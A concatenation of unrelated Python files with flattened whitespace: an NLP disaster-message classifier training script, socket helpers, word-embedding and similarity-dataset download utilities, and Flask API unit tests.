from anet.utils.format import MultiObssPreprocessor from anet.utils.log import configure_logging from anet.utils.optimizer import load_optimizer, save_optimizer
nilq/baby-python
python
import sys import pandas as pd import numpy as np import re import pickle import nltk from nltk.tokenize import word_tokenize, sent_tokenize from nltk.corpus import stopwords from nltk.stem.wordnet import WordNetLemmatizer from sqlalchemy import create_engine from nltk.tokenize import word_tokenize from nltk.stem import WordNetLemmatizer from sklearn.pipeline import Pipeline from sklearn.feature_extraction.text import CountVectorizer, TfidfTransformer from sklearn.model_selection import train_test_split, GridSearchCV from sklearn.metrics import classification_report, confusion_matrix from sklearn.ensemble import AdaBoostClassifier from sklearn.multioutput import MultiOutputClassifier from sklearn.metrics import f1_score, recall_score, precision_score, classification_report, accuracy_score nltk.download('punkt') nltk.download('stopwords') nltk.download('wordnet') def load_data(database_filepath): """ Load the data from the specific file Args: database_filepath: str. File path of the specific database Returns: X: ndarray. Ndarray values store the message information Y: ndarray. Ndarray values store the the multi class information category_names: list. List contains the multi class string """ # loading data from .db file engine = create_engine('sqlite:///{}'.format(database_filepath)) df = pd.read_sql_table("MessagesCategories", engine) # creating message and category lists X = df['message'] Y = df.iloc[:, 4:] category_names = df.columns[4:] return X, Y, category_names def tokenize(text): """Load, clean and tokenize a text""" #clean url's from text url_regex = 'http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+' detected_urls = re.findall(url_regex, text) for url in detected_urls: text = text.replace(url, " ") #normalize text text = re.sub(r"[^a-zA-Z0-9]", " ", text) #[^a-zA-Z0-9] text = text.lower() #tokenize text tokens = word_tokenize(text) # list tokens without stop-words lemmatizer = WordNetLemmatizer() stop_words = stopwords.words("english") clean_tokens = [] for token in tokens: if token not in stop_words: clean_tokens.append(lemmatizer.lemmatize(token)) return clean_tokens def build_model(): """ Create model to be trained on. The model include pipeline and cross validation parameters for grid search. Grid search is optional. """ #creating pipeline for preprocesses and training pipeline = Pipeline([ ("vect", CountVectorizer(tokenizer=tokenize)), ("tfidf", TfidfTransformer()), ('clf', MultiOutputClassifier(AdaBoostClassifier())) ]) # define parameters for grid search parameters = { 'tfidf__use_idf': (True, False), 'clf__estimator__n_estimators': [50, 100, 150] } # choose a method to build model print("Hint: GridSearchCV will takes more time!\n") chose_option = input("Do you want to GridSearchCV(Yes or No): ").lower() while True: if chose_option in ["yes", "y"]: model = GridSearchCV(pipeline, param_grid=parameters, cv=3) elif chose_option in ["no", "n"]: model = pipeline else: print("Choose a validate option!") model = False if model: return model def evaluate_model(model, X_test, Y_test, category_names): """Evaluate model""" # predicting labels Y_pred = model.predict(X_test.astype(str)) #comparing predicted labels with ground-truth print(classification_report(Y_pred, Y_test.values, target_names=category_names)) print('Accuracy Score: {}'.format(np.mean(Y_test.values == Y_pred))) def save_model(model, model_filepath): """Save model""" with open(model_filepath, "wb") as file: pickle.dump(model, file) def main(): if len(sys.argv) == 3: database_filepath, model_filepath = sys.argv[1:] print('Loading data...\n DATABASE: {}'.format(database_filepath)) X, Y, category_names = load_data(database_filepath) X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=0.2) print('Building model...') model = build_model() print('Training model...') model.fit(X_train.astype(str), Y_train) print('Evaluating model...') evaluate_model(model, X_test.astype(str), Y_test, category_names) print('Saving model...\n MODEL: {}'.format(model_filepath)) save_model(model, model_filepath) print('Trained model saved!') else: print('Please provide the filepath of the disaster messages database '\ 'as the first argument and the filepath of the pickle file to '\ 'save the model to as the second argument. \n\nExample: python '\ 'train_classifier.py ../data/DisasterResponse.db classifier.pkl') if __name__ == '__main__': main()
nilq/baby-python
python
class ListSecure(list): def get(self, index, default=None): try: return self.__getitem__(index) except IndexError: return default
nilq/baby-python
python
"""common functions for client and server""" def send_msg(socket, msg): """send message to a socket""" socket.send(bytes(str(msg), 'utf8')) def recv_msg(socket): """receive a message from a socket""" return socket.recv(4096).decode('utf8')
nilq/baby-python
python
# -*- coding: utf-8 -*- import pickle import os import string import numpy as np import tempfile import pandas as pd import sys import hashlib import errno import time import shutil from sklearn.datasets.base import Bunch TRANS = str.maketrans('', '', string.punctuation.replace('-', '')) TEMP = tempfile.gettempdir() if sys.version_info[0] == 3: import pickle import io import urllib _basestring = str cPickle = pickle StringIO = io.StringIO BytesIO = io.BytesIO _urllib = urllib izip = zip def md5_hash(string): m = hashlib.md5() m.update(string.encode('utf-8')) return m.hexdigest() else: import cPickle import StringIO import urllib import urllib2 import urlparse import types import itertools _basestring = basestring cPickle = cPickle StringIO = BytesIO = StringIO.StringIO izip = itertools.izip class _module_lookup(object): modules = [urlparse, urllib2, urllib] def __getattr__(self, name): for module in self.modules: if hasattr(module, name): attr = getattr(module, name) if not isinstance(attr, types.ModuleType): return attr raise NotImplementedError( 'This function has not been imported properly') module_lookup = _module_lookup() class _urllib(): request = module_lookup error = module_lookup parse = module_lookup def md5_hash(string): m = hashlib.md5() m.update(string) return m.hexdigest() def movetree(src, dst): """Move an entire tree to another directory. Any existing file is overwritten""" names = os.listdir(src) # Create destination dir if it does not exist _makedirs(dst) errors = [] for name in names: srcname = os.path.join(src, name) dstname = os.path.join(dst, name) try: if os.path.isdir(srcname) and os.path.isdir(dstname): movetree(srcname, dstname) os.rmdir(srcname) else: shutil.move(srcname, dstname) except (IOError, os.error) as why: errors.append((srcname, dstname, str(why))) # catch the Error from the recursive movetree so that we can # continue with other files except Exception as err: errors.extend(err.args[0]) if errors: raise Exception(errors) def _chunk_read_(response, local_file, chunk_size=8192, report_hook=None, initial_size=0, total_size=None, verbose=1): """Download a file chunk by chunk and show advancement Parameters ---------- response: _urllib.response.addinfourl Response to the download request in order to get file size local_file: file Hard disk file where data should be written chunk_size: int, optional Size of downloaded chunks. Default: 8192 report_hook: bool Whether or not to show downloading advancement. Default: None initial_size: int, optional If resuming, indicate the initial size of the file total_size: int, optional Expected final size of download (None means it is unknown). verbose: int, optional verbosity level (0 means no message). Returns ------- data: string The downloaded file. """ try: if total_size is None: total_size = response.info().get('Content-Length').strip() total_size = int(total_size) + initial_size except Exception as e: if verbose > 1: print("Warning: total size could not be determined.") if verbose > 2: print("Full stack trace: %s" % e) total_size = None bytes_so_far = initial_size # t0 = time.time() if report_hook: pbar = tqdm(total=total_size, unit="b", unit_scale=True) while True: chunk = response.read(chunk_size) bytes_so_far += len(chunk) if not chunk: if report_hook: # sys.stderr.write('\n') pbar.close() break local_file.write(chunk) if report_hook: pbar.update(len(chunk)) # This is better because works in ipython # _chunk_report_(bytes_so_far, total_size, initial_size, t0) if report_hook: pbar.close() return def _makedirs(path): # https://stackoverflow.com/a/600612/223267 try: os.makedirs(path) except OSError as e: if e.errno == errno.EEXIST and os.path.isdir(path): pass else: raise def save_pickle(data,savepath): fdr = '/'.join(savepath.strip().split('/')[:-1]) if not os.path.exists(fdr): os.makedirs(fdr) with open(savepath+'.pkl', 'wb') as fn: pickle.dump(data, fn) def load_pickle(file): with open(file, 'rb') as fn: data = pickle.load(fn) return data def disc_pr(): print("***********************************") def check_list(lst): for id,el in enumerate(lst[1:179]): if not(int(el)-int(lst[id-1])==1 and int(lst[id+1])-int(el)==1): return True return False def fetch_embeds(wds_list,embed_fl='../word_embeddings/glove.42B.300d.txt'): wds_vec=dict() if isinstance(wds_list,str): wds_list=[wds_list] with open(embed_fl,'r') as fl: for line in fl: wd = line.strip().split()[0] vec = [float(x) for x in line.strip().split()[1:]] if wd in wds_list: wds_vec[wd] = vec wds_list.remove(wd) if wds_list == []: return wds_vec return "Not all words found." def loadGloveModel(gloveFile='../word_embeddings/glove.42B.300d.txt'): print("Loading Glove Model") f = open(gloveFile,'r') model = {} for line in f: splitLine = line.split() word = splitLine[0] embedding = np.array([float(val) for val in splitLine[1:]]) model[word] = embedding return model def extract_sent_embed1(sent, glove_embeddings=None, weights=None): if glove_embeddings is None: w2vec_dict = load_pickle('./stimuli/word2vec.pkl') w2vec_dict = glove_embeddings with open('./stimuli/stopwords.txt') as f: stp_wds = f.read().splitlines() sent = (sent.translate(TRANS)).lower().split(' ') sent_proc=[] for wd in sent: if wd not in stp_wds: if '-' in wd: split_words = wd.split('-') for w in split_words: sent_proc.append(w) else: sent_proc.append(wd) avg_vec=np.zeros((5000,)) for wd in sent_proc: if weights is not None: we = np.dot(weights, w2vec_dict[wd])[:-1] else: we = w2vec_dict[wd] avg_vec += we #avg_vec/=len(sent_proc) #avg_vec = avg_vec.reshape((300,)) return avg_vec def extract_sent_embed(sent, glove_embeddings=None): if glove_embeddings is None: w2vec_dict = load_pickle('./stimuli/word2vec.pkl') w2vec_dict = glove_embeddings with open('./stimuli/stopwords.txt') as f: stp_wds = f.read().splitlines() sent = (sent.translate(TRANS)).lower().split(' ') sent_proc=[] for wd in sent: if wd not in stp_wds: if '-' in wd: split_words = wd.split('-') for w in split_words: sent_proc.append(w) else: sent_proc.append(wd) avg_vec=np.zeros((1,300)) for wd in sent_proc: avg_vec += w2vec_dict[wd] #avg_vec/=len(sent_proc) avg_vec = avg_vec.reshape((300,)) return avg_vec def load_data_meta(data_tuple): data = dict() meta = dict() data_cleared = dict() for fl in data_tuple: if 'meta' in fl: meta = load_pickle(fl) else: data = load_pickle(fl) assert data,meta # clear or not? morning call for k,v in data.items(): data_cleared[k[0]] = v return data_cleared,meta def _get_dataset_dir(sub_dir=None, data_dir=None, default_paths=None, verbose=1): """ Create if necessary and returns data directory of given dataset. Parameters ---------- sub_dir: string Name of sub-dir data_dir: string, optional Path of the data directory. Used to force data storage in a specified location. Default: None default_paths: list of string, optional Default system paths in which the dataset may already have been installed by a third party software. They will be checked first. verbose: int, optional verbosity level (0 means no message). Returns ------- data_dir: string Path of the given dataset directory. Notes ----- This function retrieves the datasets directory (or data directory) using the following priority : 1. defaults system paths 2. the keyword argument data_dir 3. the global environment variable WEB_SHARED_DATA 4. the user environment variable WEB_DATA 5. web_data in the user home folder """ # We build an array of successive paths by priority # The boolean indicates if it is a pre_dir: in that case, we won't add the # dataset name to the path. paths = [] # Search given environment variables if default_paths is not None: for default_path in default_paths: paths.extend([(d, True) for d in default_path.split(':')]) # Check data_dir which force storage in a specific location if data_dir is not None: paths.extend([(d, False) for d in data_dir.split(':')]) else: global_data = os.getenv('WEB_SHARED_DATA') if global_data is not None: paths.extend([(d, False) for d in global_data.split(':')]) local_data = os.getenv('WEB_DATA') if local_data is not None: paths.extend([(d, False) for d in local_data.split(':')]) paths.append((os.path.expanduser('~/web_data'), False)) if verbose > 2: print('Dataset search paths: %s' % paths) # Check if the dataset exists somewhere for path, is_pre_dir in paths: if not is_pre_dir and sub_dir: path = os.path.join(path, sub_dir) if os.path.islink(path): # Resolve path path = readlinkabs(path) if os.path.exists(path) and os.path.isdir(path): if verbose > 1: print('\nDataset found in %s\n' % path) return path # If not, create a folder in the first writeable directory errors = [] for (path, is_pre_dir) in paths: if not is_pre_dir and sub_dir: path = os.path.join(path, sub_dir) if not os.path.exists(path): try: _makedirs(path) if verbose > 0: print('\nDataset created in %s\n' % path) return path except Exception as exc: short_error_message = getattr(exc, 'strerror', str(exc)) errors.append('\n -{0} ({1})'.format( path, short_error_message)) raise OSError('Web tried to store the dataset in the following ' 'directories, but:' + ''.join(errors)) def _uncompress_file(file_, delete_archive=True, verbose=1): """Uncompress files contained in a data_set. Parameters ---------- file: string path of file to be uncompressed. delete_archive: bool, optional Wheteher or not to delete archive once it is uncompressed. Default: True verbose: int, optional verbosity level (0 means no message). Notes ----- This handles zip, tar, gzip and bzip files only. """ if verbose > 0: print('Extracting data from %s...' % file_) data_dir = os.path.dirname(file_) # We first try to see if it is a zip file try: filename, ext = os.path.splitext(file_) with open(file_, "rb") as fd: header = fd.read(4) processed = False if zipfile.is_zipfile(file_): z = zipfile.ZipFile(file_) z.extractall(data_dir) z.close() processed = True elif ext == '.gz' or header.startswith(b'\x1f\x8b'): import gzip gz = gzip.open(file_) if ext == '.tgz': filename = filename + '.tar' out = open(filename, 'wb') shutil.copyfileobj(gz, out, 8192) gz.close() out.close() # If file is .tar.gz, this will be handle in the next case if delete_archive: os.remove(file_) file_ = filename filename, ext = os.path.splitext(file_) processed = True if tarfile.is_tarfile(file_): with contextlib.closing(tarfile.open(file_, "r")) as tar: tar.extractall(path=data_dir) processed = True if not processed: raise IOError( "[Uncompress] unknown archive file format: %s" % file_) if delete_archive: os.remove(file_) if verbose > 0: print(' ...done.') except Exception as e: if verbose > 0: print('Error uncompressing file: %s' % e) raise def _get_as_pd(url, dataset_name, **read_csv_kwargs): return pd.read_csv(_fetch_file(url, dataset_name, verbose=0), **read_csv_kwargs) def fetch_MEN(which="all", form="natural"): """ Fetch MEN dataset for testing similarity and relatedness ---------- which : "all", "test" or "dev" form : "lem" or "natural" Returns ------- data : sklearn.datasets.base.Bunch dictionary-like object. Keys of interest: 'X': matrix of 2 words per column, 'y': vector with scores Published at http://clic.cimec.unitn.it/~elia.bruni/MEN.html. """ if which == "dev": data = _get_as_pd('https://www.dropbox.com/s/c0hm5dd95xapenf/EN-MEN-LEM-DEV.txt?dl=1', 'similarity', header=None, sep=" ") elif which == "test": data = _get_as_pd('https://www.dropbox.com/s/vdmqgvn65smm2ah/EN-MEN-LEM-TEST.txt?dl=1', 'similarity/EN-MEN-LEM-TEST', header=None, sep=" ") elif which == "all": data = _get_as_pd('https://www.dropbox.com/s/b9rv8s7l32ni274/EN-MEN-LEM.txt?dl=1', 'similarity', header=None, sep=" ") else: raise RuntimeError("Not recognized which parameter") if form == "natural": # Remove last two chars from first two columns data = data.apply(lambda x: [y if isinstance(y, float) else y[0:-2] for y in x]) elif form != "lem": raise RuntimeError("Not recognized form argument") return Bunch(X=data.values[:, 0:2].astype("object"), y=data.values[:, 2:].astype(np.float) / 5.0) def fetch_WS353(which="all"): """ Fetch WS353 dataset for testing attributional and relatedness similarity Parameters ---------- which : 'all': for both relatedness and attributional similarity, 'relatedness': for relatedness similarity 'similarity': for attributional similarity 'set1': as divided by authors 'set2': as divided by authors References ---------- Finkelstein, Gabrilovich, "Placing Search in Context: The Concept Revisited†", 2002 Agirre, Eneko et al., "A Study on Similarity and Relatedness Using Distributional and WordNet-based Approaches", 2009 Returns ------- data : sklearn.datasets.base.Bunch dictionary-like object. Keys of interest: 'X': matrix of 2 words per column, 'y': vector with scores, 'sd': vector of std of scores if available (for set1 and set2) """ if which == "all": data = _get_as_pd('https://www.dropbox.com/s/eqal5qj97ajaycz/EN-WS353.txt?dl=1', 'similarity', header=0, sep="\t") elif which == "relatedness": data = _get_as_pd('https://www.dropbox.com/s/x94ob9zg0kj67xg/EN-WSR353.txt?dl=1', 'similarity', header=None, sep="\t") elif which == "similarity": data = _get_as_pd('https://www.dropbox.com/s/ohbamierd2kt1kp/EN-WSS353.txt?dl=1', 'similarity', header=None, sep="\t") elif which == "set1": data = _get_as_pd('https://www.dropbox.com/s/opj6uxzh5ov8gha/EN-WS353-SET1.txt?dl=1', 'similarity', header=0, sep="\t") elif which == "set2": data = _get_as_pd('https://www.dropbox.com/s/w03734er70wyt5o/EN-WS353-SET2.txt?dl=1', 'similarity', header=0, sep="\t") else: raise RuntimeError("Not recognized which parameter") # We basically select all the columns available X = data.values[:, 0:2] y = data.values[:, 2].astype(np.float) # We have also scores if data.values.shape[1] > 3: sd = np.std(data.values[:, 2:15].astype(np.float), axis=1).flatten() return Bunch(X=X.astype("object"), y=y, sd=sd) else: return Bunch(X=X.astype("object"), y=y) def fetch_RG65(): """ Fetch Rubenstein and Goodenough dataset for testing attributional and relatedness similarity Returns ------- data : sklearn.datasets.base.Bunch dictionary-like object. Keys of interest: 'X': matrix of 2 words per column, 'y': vector with scores, 'sd': vector of std of scores if available (for set1 and set2) References ---------- Rubenstein, Goodenough, "Contextual correlates of synonymy", 1965 Notes ----- Scores were scaled by factor 10/4 """ data = _get_as_pd('https://www.dropbox.com/s/chopke5zqly228d/EN-RG-65.txt?dl=1', 'similarity', header=None, sep="\t").values return Bunch(X=data[:, 0:2].astype("object"), y=data[:, 2].astype(np.float) * 10.0 / 4.0) def fetch_RW(): """ Fetch Rare Words dataset for testing attributional similarity Returns ------- data : sklearn.datasets.base.Bunch dictionary-like object. Keys of interest: 'X': matrix of 2 words per column, 'y': vector with scores, 'sd': vector of std of scores References ---------- Published at http://www-nlp.stanford.edu/~lmthang/morphoNLM/. Notes ----- 2034 word pairs that are relatively rare with human similarity scores. Rare word selection: our choices of rare words (word1) are based on their frequencies – based on five bins (5, 10], (10, 100], (100, 1000], (1000, 10000], and the affixes they possess. To create a diverse set of candidates, we randomly select 15 words for each configuration (a frequency bin, an affix). At the scale of Wikipedia, a word with frequency of 1-5 is most likely a junk word, and even restricted to words with frequencies above five, there are still many non-English words. To counter such problems, each word selected is required to have a non-zero number of synsets in WordNet(Miller, 1995). """ data = _get_as_pd('https://www.dropbox.com/s/xhimnr51kcla62k/EN-RW.txt?dl=1', 'similarity', header=None, sep="\t").values return Bunch(X=data[:, 0:2].astype("object"), y=data[:, 2].astype(np.float), sd=np.std(data[:, 3:].astype(np.float))) def fetch_multilingual_SimLex999(which="EN"): """ Fetch Multilingual SimLex999 dataset for testing attributional similarity Parameters ------- which : "EN", "RU", "IT" or "DE" for language Returns ------- data : sklearn.datasets.base.Bunch dictionary-like object. Keys of interest: 'X': matrix of 2 words per column, 'y': vector with scores, 'sd': vector of sd of scores, References ---------- Published at http://technion.ac.il/~ira.leviant/MultilingualVSMdata.html. Notes ----- Scores for EN are different than the original SimLex999 dataset. Authors description: Multilingual SimLex999 resource consists of translations of the SimLex999 word similarity data set to three languages: German, Italian and Russian. Each of the translated datasets is scored by 13 human judges (crowdworkers) - all fluent speakers of its language. For consistency, we also collected human judgments for the original English corpus according to the same protocol applied to the other languages. This dataset allows to explore the impact of the "judgement language" (the language in which word pairs are presented to the human judges) on the resulted similarity scores and to evaluate vector space models on a truly multilingual setup (i.e. when both the training and the test data are multilingual). """ if which == "EN": data = _get_as_pd('https://www.dropbox.com/s/nczc4ao6koqq7qm/EN-MSIM999.txt?dl=1', 'similarity', header=None, encoding='utf-8', sep=" ") elif which == "DE": data = _get_as_pd('https://www.dropbox.com/s/ucpwrp0ahawsdtf/DE-MSIM999.txt?dl=1', 'similarity', header=None, encoding='utf-8', sep=" ") elif which == "IT": data = _get_as_pd('https://www.dropbox.com/s/siqjagyz8dkjb9q/IT-MSIM999.txt?dl=1', 'similarity', header=None, encoding='utf-8', sep=" ") elif which == "RU": data = _get_as_pd('https://www.dropbox.com/s/3v26edm9a31klko/RU-MSIM999.txt?dl=1', 'similarity', header=None, encoding='utf-8', sep=" ") else: raise RuntimeError("Not recognized which parameter") # We basically select all the columns available X = data.values[:, 0:2] scores = data.values[:, 2:].astype(np.float) y = np.mean(scores, axis=1) sd = np.std(scores, axis=1) return Bunch(X=X.astype("object"), y=y, sd=sd) def fetch_SimLex999(): """ Fetch SimLex999 dataset for testing attributional similarity Returns ------- data : sklearn.datasets.base.Bunch dictionary-like object. Keys of interest: 'X': matrix of 2 words per column, 'y': vector with scores, 'sd': vector of sd of scores, 'conc': matrix with columns conc(w1), conc(w2) and concQ the from dataset 'POS': vector with POS tag 'assoc': matrix with columns denoting free association: Assoc(USF) and SimAssoc333 References ---------- Hill, Felix et al., "Simlex-999: Evaluating semantic models with (genuine) similarity estimation", 2014 Notes ----- SimLex-999 is a gold standard resource for the evaluation of models that learn the meaning of words and concepts. SimLex-999 provides a way of measuring how well models capture similarity, rather than relatedness or association. The scores in SimLex-999 therefore differ from other well-known evaluation datasets such as WordSim-353 (Finkelstein et al. 2002). The following two example pairs illustrate the difference - note that clothes are not similar to closets (different materials, function etc.), even though they are very much related: coast - shore 9.00 9.10, clothes - closet 1.96 8.00 """ data = _get_as_pd('https://www.dropbox.com/s/0jpa1x8vpmk3ych/EN-SIM999.txt?dl=1', 'similarity', sep="\t") # We basically select all the columns available X = data[['word1', 'word2']].values y = data['SimLex999'].values sd = data['SD(SimLex)'].values conc = data[['conc(w1)', 'conc(w2)', 'concQ']].values POS = data[['POS']].values assoc = data[['Assoc(USF)', 'SimAssoc333']].values return Bunch(X=X.astype("object"), y=y, sd=sd, conc=conc, POS=POS, assoc=assoc) def _fetch_file(url, data_dir=TEMP, uncompress=False, move=False,md5sum=None, username=None, password=None, mock=False, handlers=[], resume=True, verbose=0): """Load requested dataset, downloading it if needed or requested. This function retrieves files from the hard drive or download them from the given urls. Note to developpers: All the files will be first downloaded in a sandbox and, if everything goes well, they will be moved into the folder of the dataset. This prevents corrupting previously downloaded data. In case of a big dataset, do not hesitate to make several calls if needed. Parameters ---------- dataset_name: string Unique dataset name resume: bool, optional If true, try to resume partially downloaded files uncompress: bool, optional If true, will uncompress zip move: str, optional If True, will move downloaded file to given relative path. NOTE: common usage is zip_file_id/zip_file.zip together with uncompress set to True md5sum: string, optional MD5 sum of the file. Checked if download of the file is required username: string, optional Username used for basic HTTP authentication password: string, optional Password used for basic HTTP authentication handlers: list of BaseHandler, optional urllib handlers passed to urllib.request.build_opener. Used by advanced users to customize request handling. data_dir: string, optional Path of the data directory. Used to force data storage in a specified location. Default: None resume: bool, optional If true, try resuming download if possible verbose: int, optional verbosity level (0 means no message). Returns ------- files: list of string Absolute paths of downloaded files on disk """ # TODO: move to global scope and rename def _fetch_helper(url, data_dir=TEMP, resume=True, overwrite=False, md5sum=None, username=None, password=None, handlers=[], verbose=1): if not os.path.isabs(data_dir): data_dir = _get_dataset_dir(data_dir) # Determine data path _makedirs(data_dir) # Determine filename using URL parse = _urllib.parse.urlparse(url) file_name = os.path.basename(parse.path) if file_name == '': file_name = md5_hash(parse.path) temp_file_name = file_name + ".part" full_name = os.path.join(data_dir, file_name) temp_full_name = os.path.join(data_dir, temp_file_name) if os.path.exists(full_name): if overwrite: os.remove(full_name) else: return full_name if os.path.exists(temp_full_name): if overwrite: os.remove(temp_full_name) t0 = time.time() local_file = None initial_size = 0 try: # Download data url_opener = _urllib.request.build_opener(*handlers) request = _urllib.request.Request(url) request.add_header('Connection', 'Keep-Alive') if username is not None and password is not None: if not url.startswith('https'): raise ValueError( 'Authentication was requested on a non secured URL (%s).' 'Request has been blocked for security reasons.' % url) # Note: HTTPBasicAuthHandler is not fitted here because it relies # on the fact that the server will return a 401 error with proper # www-authentication header, which is not the case of most # servers. encoded_auth = base64.b64encode( (username + ':' + password).encode()) request.add_header(b'Authorization', b'Basic ' + encoded_auth) if verbose > 0: displayed_url = url.split('?')[0] if verbose == 1 else url print('Downloading data from %s ...' % displayed_url) if resume and os.path.exists(temp_full_name): # Download has been interrupted, we try to resume it. local_file_size = os.path.getsize(temp_full_name) # If the file exists, then only download the remainder request.add_header("Range", "bytes=%s-" % (local_file_size)) try: data = url_opener.open(request) content_range = data.info().get('Content-Range') if (content_range is None or not content_range.startswith( 'bytes %s-' % local_file_size)): raise IOError('Server does not support resuming') except Exception: # A wide number of errors can be raised here. HTTPError, # URLError... I prefer to catch them all and rerun without # resuming. if verbose > 0: print('Resuming failed, try to download the whole file.') return _fetch_helper( url, data_dir, resume=False, overwrite=overwrite, md5sum=md5sum, username=username, password=password, handlers=handlers, verbose=verbose) local_file = open(temp_full_name, "ab") initial_size = local_file_size else: data = url_opener.open(request) local_file = open(temp_full_name, "wb") _chunk_read_(data, local_file, report_hook=(verbose > 0), initial_size=initial_size, verbose=verbose) # temp file must be closed prior to the move if not local_file.closed: local_file.close() shutil.move(temp_full_name, full_name) dt = time.time() - t0 if verbose > 0: print('...done. (%i seconds, %i min)' % (dt, dt // 60)) except _urllib.error.HTTPError as e: if verbose > 0: print('Error while fetching file %s. Dataset fetching aborted.' % (file_name)) if verbose > 1: print("HTTP Error: %s, %s" % (e, url)) raise except _urllib.error.URLError as e: if verbose > 0: print('Error while fetching file %s. Dataset fetching aborted.' % (file_name)) if verbose > 1: print("URL Error: %s, %s" % (e, url)) raise finally: if local_file is not None: if not local_file.closed: local_file.close() if md5sum is not None: if (_md5_sum_file(full_name) != md5sum): raise ValueError("File %s checksum verification has failed." " Dataset fetching aborted." % local_file) return full_name if not os.path.isabs(data_dir): data_dir = _get_dataset_dir(data_dir) # There are two working directories here: # - data_dir is the destination directory of the dataset # - temp_dir is a temporary directory dedicated to this fetching call. All # files that must be downloaded will be in this directory. If a corrupted # file is found, or a file is missing, this working directory will be # deleted. parse = _urllib.parse.urlparse(url) file_name = os.path.basename(parse.path) files_pickle = cPickle.dumps([(file_, url) for file_, url in zip([file_name], [url])]) files_md5 = hashlib.md5(files_pickle).hexdigest() temp_dir = os.path.join(data_dir, files_md5) # Create destination dir _makedirs(data_dir) # Abortion flag, in case of error abort = None # 2 possibilities: # - the file exists in data_dir, nothing to do (we have to account for move parameter here) # - the file does not exists: we download it in temp_dir # Target file in the data_dir target_file = os.path.join(data_dir, file_name) # Change move so we always uncompress to some folder (this is important for # detecting already downloaded files) # Ex. glove.4B.zip -> glove.4B/glove.4B.zip if uncompress and not move: dirname, _ = os.path.splitext(file_name) move = os.path.join(dirname, os.path.basename(file_name)) if (abort is None and not os.path.exists(target_file) and (not move or (move and uncompress and not os.path.exists(os.path.dirname(os.path.join(data_dir, move))))) or (move and not uncompress and not os.path.exists(os.path.join(data_dir, move)))): # Target file in temp dir temp_target_file = os.path.join(temp_dir, file_name) # We may be in a global read-only repository. If so, we cannot # download files. if not os.access(data_dir, os.W_OK): raise ValueError('Dataset files are missing but dataset' ' repository is read-only. Contact your data' ' administrator to solve the problem') if not os.path.exists(temp_dir): os.mkdir(temp_dir) dl_file = _fetch_helper(url, temp_dir, resume=resume, verbose=verbose, md5sum=md5sum, username=username, password=password, handlers=handlers) if (abort is None and not os.path.exists(target_file) and not os.path.exists(temp_target_file)): if not mock: warnings.warn('An error occured while fetching %s' % file_) abort = ("Dataset has been downloaded but requested file was " "not provided:\nURL:%s\nFile:%s" % (url, target_file)) else: _makedirs(os.path.dirname(temp_target_file)) open(temp_target_file, 'w').close() if move: move = os.path.join(data_dir, move) move_dir = os.path.dirname(move) _makedirs(move_dir) shutil.move(dl_file, move) dl_file = move target_file = dl_file if uncompress: try: if os.path.getsize(dl_file) != 0: _uncompress_file(dl_file, verbose=verbose) else: os.remove(dl_file) target_file = os.path.dirname(target_file) except Exception as e: abort = str(e) else: if verbose > 0: print("File already downloaded, skipping") if move: target_file = os.path.join(data_dir, move) if uncompress: target_file = os.path.dirname(target_file) if abort is not None: if os.path.exists(temp_dir): shutil.rmtree(temp_dir) raise IOError('Fetching aborted: ' + abort) # If needed, move files from temps directory to final directory. if os.path.exists(temp_dir): # XXX We could only moved the files requested # XXX Movetree can go wrong movetree(temp_dir, data_dir) shutil.rmtree(temp_dir) return target_file
nilq/baby-python
python
# Copyright 2016 Internap # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from flask import Flask from hamcrest import assert_that, is_ import json import mock import unittest from ubersmith_remote_module_server.api import Api class ApiTest(unittest.TestCase): def setUp(self): self.app = Flask('test_app') self.api_client = self.app.test_client() self.router = mock.Mock() self.module1 = mock.Mock() self.module2 = mock.Mock() self.modules = {'module1': self.module1, 'module2': self.module2} self.api = Api(self.modules, self.app, self.router) def generate_module_path(self, module_name): return '/{0}/'.format(module_name) def test_list_implemented_methods(self): self.router.list_implemented_methods.return_value = ['abcd', 'efgh'] output = self.api_client.get(self.generate_module_path('module1')) self.router.list_implemented_methods.assert_called_with(self.module1) assert_that(json.loads(output.data.decode(output.charset)), is_({ "implemented_methods": [ "abcd", "efgh" ] })) def test_execute_method_returns_string(self): self.router.invoke_method.return_value = 'simple string' output = self.api_client.post(self.generate_module_path('module2'), headers={'Content-Type': 'application/json'}, data=json.dumps( { "method": "remote_method", "params": [], "env": { "variable1": "value1" }, "callback": {} } )) self.router.invoke_method.assert_called_with(module=self.module2, method='remote_method', params=[], env={'variable1': 'value1'}, callback={}) assert_that(json.loads(output.data.decode(output.charset)), is_('simple string')) def test_execute_method_returns_list(self): self.router.invoke_method.return_value = ['a', 'b', 'c'] output = self.api_client.post(self.generate_module_path('module2'), headers={'Content-Type': 'application/json'}, data=json.dumps( { "method": "remote_method", "params": [], "env": { "variable1": "value1" }, "callback": {} } )) self.router.invoke_method.assert_called_with(module=self.module2, method='remote_method', params=[], env={'variable1': 'value1'}, callback={}) assert_that(json.loads(output.data.decode(output.charset)), is_(['a', 'b', 'c'])) def test_invoking_unknown_module_returns_a_404(self): output = self.api_client.post(self.generate_module_path('new_module'), headers={'Content-Type': 'application/json'}, data=json.dumps( { "method": "remote_method", "params": [], "env": { "variable1": "value1" }, "callback": {} } )) assert_that(output.status_code, is_(404)) def test_listing_unknown_module_returns_a_404(self): output = self.api_client.get(self.generate_module_path('new_module')) assert_that(output.status_code, is_(404)) class NoTrailingSlashApiTest(ApiTest): def generate_module_path(self, module_name): return '/{0}'.format(module_name)
nilq/baby-python
python
